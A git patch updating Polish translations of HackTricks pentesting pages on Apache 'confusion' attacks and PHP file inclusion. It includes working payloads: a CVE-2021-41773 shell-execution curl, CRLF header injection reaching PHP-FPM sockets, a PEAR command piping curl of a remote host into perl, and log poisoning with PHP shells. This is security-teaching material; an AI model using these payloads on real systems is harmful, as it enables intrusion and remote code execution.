From 0676ae11ea111a01fd4bbc3e69b71a0d7602c23c Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 19 Aug 2024 11:12:16 +0000 Subject: [PATCH] Translated ['network-services-pentesting/pentesting-web/apache.md', 'pen --- .../pentesting-web/apache.md | 255 +++++++++++++++++- pentesting-web/file-inclusion/README.md | 123 +++++---- 2 files changed, 312 insertions(+), 66 deletions(-) diff --git a/network-services-pentesting/pentesting-web/apache.md b/network-services-pentesting/pentesting-web/apache.md index abaaa031c..63bb64652 100644 --- a/network-services-pentesting/pentesting-web/apache.md +++ b/network-services-pentesting/pentesting-web/apache.md @@ -1,20 +1,21 @@ +# Apache + {% hint style="success" %} -Ucz się i ćwicz Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Ucz się i ćwicz Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Wsparcie HackTricks +Support HackTricks -* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)! -* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} - -# Wykonywalne rozszerzenia PHP +## Wykonywalne rozszerzenia PHP Sprawdź, które rozszerzenia są uruchamiane przez serwer Apache. Aby je wyszukać, możesz wykonać: ```bash @@ -27,23 +28,249 @@ Również niektóre miejsca, w których możesz znaleźć tę konfigurację, to: /etc/apache2/mods-available/php7.3.conf /etc/apache2/mods-enabled/php7.3.conf ``` -# CVE-2021-41773 +## CVE-2021-41773 + +{% code overflow="wrap" %} ```bash curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname' uid=1(daemon) gid=1(daemon) groups=1(daemon) Linux ``` +{% endcode %} + +## Atak konfuzji + +Te typy ataków zostały wprowadzone i udokumentowane [**przez Orange w tym poście na blogu**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1), a poniżej znajduje się podsumowanie. Atak "konfuzji" zasadniczo wykorzystuje to, jak dziesiątki modułów współpracujących w Apache nie działają idealnie zsynchronizowane, co sprawia, że modyfikacja nieoczekiwanych danych przez niektóre z nich może spowodować lukę w późniejszym module. + +### Konfuzja nazwy pliku + +#### Skracanie + +**`mod_rewrite`** obetnie zawartość `r->filename` po znaku `?` ([_**modules/mappers/mod\_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod\_rewrite.c#L4141)). To nie jest całkowicie błędne, ponieważ większość modułów traktuje `r->filename` jako URL. Jednak w innych przypadkach będzie to traktowane jako ścieżka do pliku, co może spowodować problem. + +* **Skracanie ścieżki** + +Można wykorzystać `mod_rewrite` jak w poniższym przykładzie reguły, aby uzyskać dostęp do innych plików w systemie plików, usuwając ostatnią część oczekiwanej ścieżki, dodając po prostu `?`: +```bash +RewriteEngine On +RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml" + +# Expected +curl http://server/user/orange +# the output of file `/var/user/orange/profile.yml` + +# Attack +curl http://server/user/orange%2Fsecret.yml%3F +# the output of file `/var/user/orange/secret.yml` +``` +* **Wprowadzenie w błąd przypisania RewriteFlag** + +W poniższej regule przepisywania, dopóki URL kończy się na .php, będzie traktowany i wykonywany jako php. Dlatego możliwe jest wysłanie URL, który kończy się na .php po znaku `?`, podczas gdy w ścieżce ładowany jest inny typ pliku (jak obrazek) z złośliwym kodem php w środku: +```bash +RewriteEngine On +RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php] + +# Attacker uploads a gif file with some php code +curl http://server/upload/1.gif +# GIF89a + +# Make the server execute the php code +curl http://server/upload/1.gif%3fooo.php +# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data) +``` +#### **ACL Bypass** + +Możliwe jest uzyskanie dostępu do plików, do których użytkownik nie powinien mieć dostępu, nawet jeśli dostęp powinien być zabroniony w przypadku konfiguracji takich jak: +```xml + +AuthType Basic +AuthName "Admin Panel" +AuthUserFile "/etc/apache2/.htpasswd" +Require valid-user + +``` +To dlatego, że domyślnie PHP-FPM odbierze adresy URL kończące się na `.php`, takie jak `http://server/admin.php%3Fooo.php`, a ponieważ PHP-FPM usunie wszystko po znaku `?`, poprzedni adres URL pozwoli na załadowanie `/admin.php`, nawet jeśli poprzednia reguła tego zabraniała. + +### DocumentRoot Confusion +```bash +DocumentRoot /var/www/html +RewriteRule ^/html/(.*)$ /$1.html +``` +A fun fact about Apache is that the previous rewrite will try to access the file from both the documentRoot and from root. So, a request to `https://server/abouth.html` will check for the file in `/var/www/html/about.html` and `/about.html` in the file system. Which basically can be abused to access files in the file system. + +#### **Ujawnienie kodu źródłowego po stronie serwera** + +* **Ujawnij kod źródłowy CGI** + +Just adding a %3F at the end is enough to leak the source code of a cgi module: +```bash +curl http://server/cgi-bin/download.cgi +# the processed result from download.cgi +curl http://server/html/usr/lib/cgi-bin/download.cgi%3F +# #!/usr/bin/perl +# use CGI; +# ... +# # the source code of download.cgi +``` +* **Ujawnienie kodu źródłowego PHP** + +Jeśli serwer ma różne domeny, z jedną z nich będącą domeną statyczną, można to wykorzystać do przeszukiwania systemu plików i ujawnienia kodu php: +```bash +# Leak the config.php file of the www.local domain from the static.local domain +curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" +# the source code of config.php +``` +#### **Manipulacja lokalnymi gadżetami** + +Głównym problemem poprzedniego ataku jest to, że domyślnie większość dostępu do systemu plików będzie zablokowana, jak w [szablonie konfiguracji](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) serwera Apache HTTP. +```xml + +AllowOverride None +Require all denied + +``` +Jednak systemy operacyjne [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) domyślnie pozwalają na `/usr/share`: +```xml + +AllowOverride None +Require all granted + +``` +Zatem możliwe byłoby **nadużycie plików znajdujących się w `/usr/share` w tych dystrybucjach.** + +**Lokalny Gadget do ujawnienia informacji** + +* **Apache HTTP Server** z **websocketd** może ujawniać skrypt **dump-env.php** w **/usr/share/doc/websocketd/examples/php/**, co może prowadzić do ujawnienia wrażliwych zmiennych środowiskowych. +* Serwery z **Nginx** lub **Jetty** mogą ujawniać wrażliwe informacje o aplikacjach webowych (np. **web.xml**) poprzez swoje domyślne katalogi webowe umieszczone w **/usr/share**: +* **/usr/share/nginx/html/** +* **/usr/share/jetty9/etc/** +* **/usr/share/jetty9/webapps/** + +**Lokalny Gadget do XSS** + +* Na Ubuntu Desktop z **zainstalowanym LibreOffice**, wykorzystanie funkcji zmiany języka w plikach pomocy może prowadzić do **Cross-Site Scripting (XSS)**. Manipulowanie URL w **/usr/share/libreoffice/help/help.html** może przekierować na złośliwe strony lub starsze wersje poprzez **niebezpieczne RewriteRule**. + +**Lokalny Gadget do LFI** + +* Jeśli zainstalowane są PHP lub niektóre pakiety front-endowe, takie jak **JpGraph** lub **jQuery-jFeed**, ich pliki mogą być wykorzystywane do odczytu wrażliwych plików, takich jak **/etc/passwd**: +* **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php** +* **/usr/share/javascript/jquery-jfeed/proxy.php** +* **/usr/share/moodle/mod/assignment/type/wims/getcsv.php** + +**Lokalny Gadget do SSRF** + +* Wykorzystując **magpie\_debug.php** z **MagpieRSS** w **/usr/share/php/magpierss/scripts/magpie\_debug.php**, można łatwo stworzyć lukę SSRF, co zapewnia bramę do dalszych exploitów. + +**Lokalny Gadget do RCE** + +* Możliwości **Remote Code Execution (RCE)** są ogromne, z podatnymi instalacjami, takimi jak przestarzały **PHPUnit** lub **phpLiteAdmin**. Mogą być one wykorzystywane do wykonywania dowolnego kodu, co pokazuje ogromny potencjał manipulacji lokalnymi gadżetami. + +#### **Jailbreak z lokalnych gadżetów** + +Możliwe jest również uzyskanie jailbreaka z dozwolonych folderów, podążając za symlinkami generowanymi przez zainstalowane oprogramowanie w tych folderach, takich jak: + +* **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/` +* **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data` +* **Solr Config**: `/usr/share/solr/conf/` -> `/etc/solr/conf/` +* **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/` +* **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/` + +Ponadto, nadużywając symlinków, możliwe było uzyskanie **RCE w Redmine.** + +### Confuzja Handlera + +Ten atak wykorzystuje nakładanie się funkcji między dyrektywami `AddHandler` i `AddType`, które mogą być używane do **włączania przetwarzania PHP**. Początkowo te dyrektywy wpływały na różne pola (`r->handler` i `r->content_type` odpowiednio) w wewnętrznej strukturze serwera. Jednak z powodu kodu dziedziczonego, Apache obsługuje te dyrektywy zamiennie w określonych warunkach, przekształcając `r->content_type` w `r->handler`, jeśli ten pierwszy jest ustawiony, a drugi nie. + +Ponadto, w Apache HTTP Server (`server/config.c#L420`), jeśli `r->handler` jest pusty przed wykonaniem `ap_run_handler()`, serwer **używa `r->content_type` jako handlera**, co skutkuje tym, że `AddType` i `AddHandler` są identyczne w skutkach. + +#### **Nadpisanie Handlera w celu ujawnienia kodu źródłowego PHP** + +W [**tej prezentacji**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013\_dmitriev-maksim.pdf) przedstawiono lukę, w której niepoprawny `Content-Length` wysłany przez klienta może spowodować, że Apache błędnie **zwróci kod źródłowy PHP**. Działo się tak z powodu problemu z obsługą błędów w ModSecurity i Apache Portable Runtime (APR), gdzie podwójna odpowiedź prowadzi do nadpisania `r->content_type` na `text/html`.\ +Ponieważ ModSecurity nie obsługuje poprawnie wartości zwracanych, zwracałby kod PHP i nie interpretowałby go. + +#### **Nadpisanie Handlera do XXXX** + +TODO: Orange jeszcze nie ujawnili tej luki + +### **Wywołanie dowolnych handlerów** + +Jeśli atakujący jest w stanie kontrolować nagłówek **`Content-Type`** w odpowiedzi serwera, będzie mógł **wywołać dowolne handlera modułów**. Jednak w momencie, gdy atakujący kontroluje to, większość procesu żądania będzie już zakończona. Możliwe jest jednak **ponowne uruchomienie procesu żądania, nadużywając nagłówka `Location`**, ponieważ jeśli **r**eturned `Status` to 200, a nagłówek `Location` zaczyna się od `/`, odpowiedź jest traktowana jako przekierowanie po stronie serwera i powinna być przetworzona. + +Zgodnie z [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specyfikacja dotycząca CGI) w [Sekcji 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) definiuje zachowanie odpowiedzi lokalnego przekierowania: + +> Skrypt CGI może zwrócić ścieżkę URI i ciąg zapytania (‘local-pathquery’) dla lokalnego zasobu w polu nagłówka Location. To wskazuje serwerowi, że powinien ponownie przetworzyć żądanie, używając określonej ścieżki. + +Zatem, aby przeprowadzić ten atak, potrzebna jest jedna z następujących luk: + +* Wstrzyknięcie CRLF w nagłówkach odpowiedzi CGI +* SSRF z pełną kontrolą nad nagłówkami odpowiedzi + +#### **Dowolny Handler do ujawnienia informacji** + +Na przykład `/server-status` powinien być dostępny tylko lokalnie: +```xml + +SetHandler server-status +Require local + +``` +Możliwe jest uzyskanie dostępu, ustawiając `Content-Type` na `server-status` i nagłówek Location zaczynający się od `/` +``` +http://server/cgi-bin/redir.cgi?r=http:// %0d%0a +Location:/ooo %0d%0a +Content-Type:server-status %0d%0a +%0d%0a +``` +#### **Arbitrary Handler to Full SSRF** + +Przekierowanie do `mod_proxy`, aby uzyskać dostęp do dowolnego protokołu na dowolnym URL: +``` +http://server/cgi-bin/redir.cgi?r=http://%0d%0a +Location:/ooo %0d%0a +Content-Type:proxy: +http://example.com/%3F +%0d%0a +%0d%0a +``` +Jednak nagłówek `X-Forwarded-For` jest dodawany, co uniemożliwia dostęp do punktów końcowych metadanych w chmurze. + +#### **Arbitralny handler do uzyskania dostępu do lokalnego gniazda Unix Domain** + +Uzyskaj dostęp do lokalnego gniazda Unix Domain PHP-FPM, aby wykonać PHP backdoor znajdujący się w `/tmp/`: +``` +http://server/cgi-bin/redir.cgi?r=http://%0d%0a +Location:/ooo %0d%0a +Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a +%0d%0a +``` +#### **Arbitralny handler do RCE** + +Oficjalny [obraz PHP Docker](https://hub.docker.com/\_/php) zawiera PEAR (`Pearcmd.php`), narzędzie do zarządzania pakietami PHP w wierszu poleceń, które można wykorzystać do uzyskania RCE: +``` +http://server/cgi-bin/redir.cgi?r=http://%0d%0a +Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS} +orange.tw/x|perl +) %2b alltests.php %0d%0a +Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a +%0d%0a +``` +Sprawdź [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), napisany przez [Phith0n](https://x.com/phithon\_xg) dla szczegółów tej techniki. + +## Referencje + +* [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) + {% hint style="success" %} -Ucz się i ćwicz Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Ucz się i ćwicz Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Ucz się i ćwicz Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Ucz się i ćwicz Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Wsparcie dla HackTricks +Wsparcie HackTricks * Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)! -* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie. +* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
{% endhint %} diff --git a/pentesting-web/file-inclusion/README.md b/pentesting-web/file-inclusion/README.md index dbd8dfd72..c3cf86ba7 100644 --- a/pentesting-web/file-inclusion/README.md +++ b/pentesting-web/file-inclusion/README.md @@ -1,16 +1,16 @@ # File Inclusion/Path traversal {% hint style="success" %} -Ucz się i ćwicz Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Ucz się i ćwicz Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Ucz się i ćwicz Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Ucz się i ćwicz Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Wsparcie dla HackTricks +Wsparcie HackTricks * Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)! -* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie. +* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podziel się trikami hackingowymi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
{% endhint %} @@ -19,16 +19,16 @@ Ucz się i ćwicz Hacking GCP: .`). Aby uzyskać **listę wszystkich obsługiwanych kodowań**, uruchom w konsoli: `iconv -l` {% hint style="warning" %} -Nadużywając filtru konwersji `convert.iconv.*`, możesz **generować dowolny tekst**, co może być przydatne do pisania dowolnego tekstu lub do stworzenia funkcji, która włącza proces dowolnego tekstu. Więcej informacji znajdziesz w [**LFI2RCE za pomocą filtrów php**](lfi2rce-via-php-filters.md). +Wykorzystując filtr konwersji `convert.iconv.*`, możesz **generować dowolny tekst**, co może być przydatne do pisania dowolnego tekstu lub do stworzenia funkcji, która włącza proces dowolnego tekstu. Po więcej informacji sprawdź [**LFI2RCE za pomocą filtrów PHP**](lfi2rce-via-php-filters.md). {% endhint %} * [Filtry kompresji](https://www.php.net/manual/en/filters.compression.php) @@ -272,9 +272,9 @@ Nadużywając filtru konwersji `convert.iconv.*`, możesz **generować dowolny t * `mcrypt.*` : Przestarzałe * `mdecrypt.*` : Przestarzałe * Inne filtry -* Uruchamiając w php `var_dump(stream_get_filters());`, możesz znaleźć kilka **nieoczekiwanych filtrów**: +* Uruchamiając w PHP `var_dump(stream_get_filters());`, możesz znaleźć kilka **nieoczekiwanych filtrów**: * `consumed` -* `dechunk`: odwraca kodowanie HTTP chunked +* `dechunk`: odwraca kodowanie chunked HTTP * `convert.*` ```php # String Filters @@ -308,25 +308,25 @@ Część "php://filter" jest nieczuła na wielkość liter ### Używanie filtrów php jako oracle do odczytu dowolnych plików -[**W tym poście**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) zaproponowano technikę odczytu lokalnego pliku bez zwracania wyniku przez serwer. Technika ta opiera się na **boole'owskiej eksfiltracji pliku (znak po znaku) przy użyciu filtrów php** jako oracle. Dzieje się tak, ponieważ filtry php mogą być używane do powiększenia tekstu na tyle, aby php zgłosił wyjątek. +[**W tym poście**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) zaproponowano technikę odczytu lokalnego pliku bez zwracania wyniku z serwera. Technika ta opiera się na **boole'owskiej eksfiltracji pliku (znak po znaku) przy użyciu filtrów php** jako oracle. Dzieje się tak, ponieważ filtry php mogą być używane do powiększenia tekstu na tyle, aby php zgłosił wyjątek. W oryginalnym poście można znaleźć szczegółowe wyjaśnienie techniki, ale oto szybkie podsumowanie: * Użyj kodeka **`UCS-4LE`**, aby pozostawić wiodący znak tekstu na początku i sprawić, że rozmiar ciągu wzrośnie wykładniczo. -* To będzie użyte do wygenerowania **tekstu tak dużego, gdy początkowa litera jest odgadnięta poprawnie**, że php wywoła **błąd**. +* To będzie użyte do wygenerowania **tekstu tak dużego, gdy początkowa litera jest poprawnie odgadnięta**, że php wywoła **błąd**. * Filtr **dechunk** **usunie wszystko, jeśli pierwszy znak nie jest szesnastkowy**, więc możemy wiedzieć, czy pierwszy znak jest szesnastkowy. * To, w połączeniu z poprzednim (i innymi filtrami w zależności od odgadniętej litery), pozwoli nam odgadnąć literę na początku tekstu, widząc, kiedy wykonujemy wystarczająco dużo transformacji, aby nie była znakiem szesnastkowym. Ponieważ jeśli jest szesnastkowy, dechunk go nie usunie, a początkowa bomba spowoduje błąd php. * Kodek **convert.iconv.UNICODE.CP930** przekształca każdą literę w następną (więc po tym kodeku: a -> b). To pozwala nam odkryć, czy pierwsza litera to `a`, na przykład, ponieważ jeśli zastosujemy 6 z tego kodeka a->b->c->d->e->f->g, litera nie jest już znakiem szesnastkowym, dlatego dechunk jej nie usunął, a błąd php jest wywoływany, ponieważ mnoży się z początkową bombą. -* Używając innych transformacji, takich jak **rot13** na początku, możliwe jest wycieknięcie innych znaków, takich jak n, o, p, q, r (i inne kodeki mogą być używane do przenoszenia innych liter do zakresu szesnastkowego). +* Używając innych transformacji, takich jak **rot13** na początku, możliwe jest wycieknięcie innych znaków, takich jak n, o, p, q, r (i inne kodeki mogą być używane do przesuwania innych liter do zakresu szesnastkowego). * Gdy początkowy znak jest liczbą, należy go zakodować w base64 i wyciekować 2 pierwsze litery, aby wyciekła liczba. * Ostatecznym problemem jest zobaczenie **jak wyciekować więcej niż początkowa litera**. Używając filtrów pamięci w kolejności, takich jak **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, możliwe jest zmienienie kolejności znaków i uzyskanie na pierwszej pozycji innych liter tekstu. -* A aby móc uzyskać **dalsze dane**, pomysł polega na **wygenerowaniu 2 bajtów danych śmieciowych na początku** za pomocą **convert.iconv.UTF16.UTF16**, zastosowaniu **UCS-4LE**, aby **pivotować z następnymi 2 bajtami**, i **usunąć dane aż do danych śmieciowych** (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuuj to, aż osiągniesz pożądany bit do wycieku. +* A aby móc uzyskać **dalsze dane**, pomysł polega na **wygenerowaniu 2 bajtów danych śmieciowych na początku** przy użyciu **convert.iconv.UTF16.UTF16**, zastosowaniu **UCS-4LE**, aby **pivotować z następnymi 2 bajtami**, i **usunąć dane aż do danych śmieciowych** (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuuj to, aż osiągniesz pożądany bit do wycieku. -W poście wyciekło również narzędzie do automatycznego wykonania tego: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit). +W poście wycieknięto również narzędzie do automatycznego wykonania tego: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit). ### php://fd -Ten wrapper pozwala na dostęp do deskryptorów plików, które proces ma otwarte. Potencjalnie przydatne do eksfiltracji zawartości otwartych plików: +Ten wrapper pozwala uzyskać dostęp do deskryptorów plików, które proces ma otwarte. Potencjalnie przydatne do eksfiltracji zawartości otwartych plików: ```php echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); @@ -391,7 +391,7 @@ Aby skompilować plik `.phar`, należy wykonać następujące polecenie: ```bash php --define phar.readonly=0 create_path.php ``` -Po wykonaniu zostanie utworzony plik o nazwie `test.phar`, który może być wykorzystany do eksploatacji luk w Local File Inclusion (LFI). +Po wykonaniu zostanie utworzony plik o nazwie `test.phar`, który może być potencjalnie wykorzystany do eksploatacji luk w Local File Inclusion (LFI). W przypadkach, gdy LFI tylko odczytuje pliki bez wykonywania kodu PHP w ich wnętrzu, za pomocą funkcji takich jak `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, lub `filesize()`, można spróbować wykorzystać lukę w deserializacji. Luka ta jest związana z odczytem plików przy użyciu protokołu `phar`. @@ -405,9 +405,9 @@ Aby uzyskać szczegółowe zrozumienie eksploatacji luk w deserializacji w konte ### CVE-2024-2961 -Można było nadużyć **dowolnego pliku odczytywanego z PHP, który obsługuje filtry PHP**, aby uzyskać RCE. Szczegółowy opis można [**znaleźć w tym poście**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ +Można było nadużyć **dowolnego pliku odczytywanego z PHP, który obsługuje filtry php**, aby uzyskać RCE. Szczegółowy opis można [**znaleźć w tym poście**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ Bardzo szybkie podsumowanie: **3-bajtowy przepełnienie** w stercie PHP zostało nadużyte do **zmiany łańcucha wolnych kawałków** o określonym rozmiarze, aby móc **zapisać cokolwiek w dowolnym adresie**, więc dodano hak do wywołania **`system`**.\ -Można było alokować kawałki o określonych rozmiarach, nadużywając więcej filtrów PHP. +Można było alokować kawałki o określonych rozmiarach, nadużywając więcej filtrów php. ### Więcej protokołów @@ -418,15 +418,15 @@ Sprawdź więcej możliwych [**protokołów do uwzględnienia tutaj**](https://w * [http://](https://www.php.net/manual/en/wrappers.http.php) — Dostęp do adresów URL HTTP(s) * [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Dostęp do adresów URL FTP(s) * [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Strumienie kompresji -* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Znajdź nazwy ścieżek pasujące do wzorca (nie zwraca nic drukowalnego, więc nie jest tu naprawdę przydatne) +* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Znajdź nazwy ścieżek pasujące do wzoru (Nie zwraca nic drukowalnego, więc nie jest tu naprawdę przydatne) * [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 -* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Strumienie audio (nieprzydatne do odczytu dowolnych plików) +* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Strumienie audio (Nieprzydatne do odczytu dowolnych plików) ## LFI przez 'assert' PHP -Ryzyko Local File Inclusion (LFI) w PHP jest szczególnie wysokie w przypadku funkcji 'assert', która może wykonywać kod w ramach ciągów. Jest to szczególnie problematyczne, jeśli dane wejściowe zawierają znaki przechodzenia do katalogu, takie jak "..", które są sprawdzane, ale nie są odpowiednio oczyszczane. +Ryzyko Local File Inclusion (LFI) w PHP jest szczególnie wysokie w przypadku funkcji 'assert', która może wykonywać kod w ramach ciągów. Jest to szczególnie problematyczne, jeśli dane wejściowe zawierające znaki przechodzenia przez katalogi, takie jak "..", są sprawdzane, ale nie są odpowiednio oczyszczane. -Na przykład, kod PHP może być zaprojektowany w celu zapobiegania przechodzeniu do katalogu w ten sposób: +Na przykład, kod PHP może być zaprojektowany w celu zapobiegania przechodzeniu przez katalogi w ten sposób: ```bash assert("strpos('$file', '..') === false") or die(""); ``` @@ -442,7 +442,7 @@ To ważne, aby **zakodować te ładunki URL**.
-Dołącz do [**serwera HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami błędów! +Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami błędów! **Wgląd w Hacking**\ Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem @@ -479,15 +479,15 @@ Wyjaśnione wcześniej, [**śledź ten link**](./#remote-file-inclusion). ### Poprzez plik dziennika Apache/Nginx -Jeśli serwer Apache lub Nginx jest **podatny na LFI**, wewnątrz funkcji include możesz spróbować uzyskać dostęp do **`/var/log/apache2/access.log` lub `/var/log/nginx/access.log`**, ustawiając w **user agent** lub w **parametrze GET** powłokę php, taką jak **``** i dołączając ten plik +Jeśli serwer Apache lub Nginx jest **podatny na LFI**, wewnątrz funkcji include możesz spróbować uzyskać dostęp do **`/var/log/apache2/access.log` lub `/var/log/nginx/access.log`**, ustawiając w **user agent** lub w **parametrze GET** powłokę PHP, taką jak **``** i dołączając ten plik {% hint style="warning" %} -Zauważ, że **jeśli użyjesz podwójnych cudzysłowów** dla powłoki zamiast **pojedynczych cudzysłowów**, podwójne cudzysłowy zostaną zmodyfikowane na ciąg "_**quote;**_", **PHP zgłosi błąd** w tym miejscu i **nic innego nie zostanie wykonane**. +Zauważ, że **jeśli używasz podwójnych cudzysłowów** dla powłoki zamiast **pojedynczych cudzysłowów**, podwójne cudzysłowy zostaną zmodyfikowane na ciąg "_**quote;**_", **PHP zgłosi błąd** w tym miejscu i **nic innego nie zostanie wykonane**. Upewnij się również, że **poprawnie zapisujesz ładunek**, w przeciwnym razie PHP zgłosi błąd za każdym razem, gdy spróbuje załadować plik dziennika i nie będziesz miał drugiej szansy. {% endhint %} -Można to również zrobić w innych dziennikach, ale **bądź ostrożny**, kod wewnątrz dzienników może być zakodowany URL i to może zniszczyć powłokę. Nagłówek **autoryzacji "basic"** zawiera "user:password" w Base64 i jest dekodowany wewnątrz dzienników. PHPShell może być wstawiony w tym nagłówku.\ +Można to również zrobić w innych dziennikach, ale **bądź ostrożny**, kod wewnątrz dzienników może być zakodowany URL i to może zniszczyć powłokę. Nagłówek **autoryzacji "basic"** zawiera "user:password" w Base64 i jest dekodowany wewnątrz dzienników. Powłoka PHP może być wstawiona w tym nagłówku.\ Inne możliwe ścieżki dzienników: ```python /var/log/apache2/access.log @@ -520,11 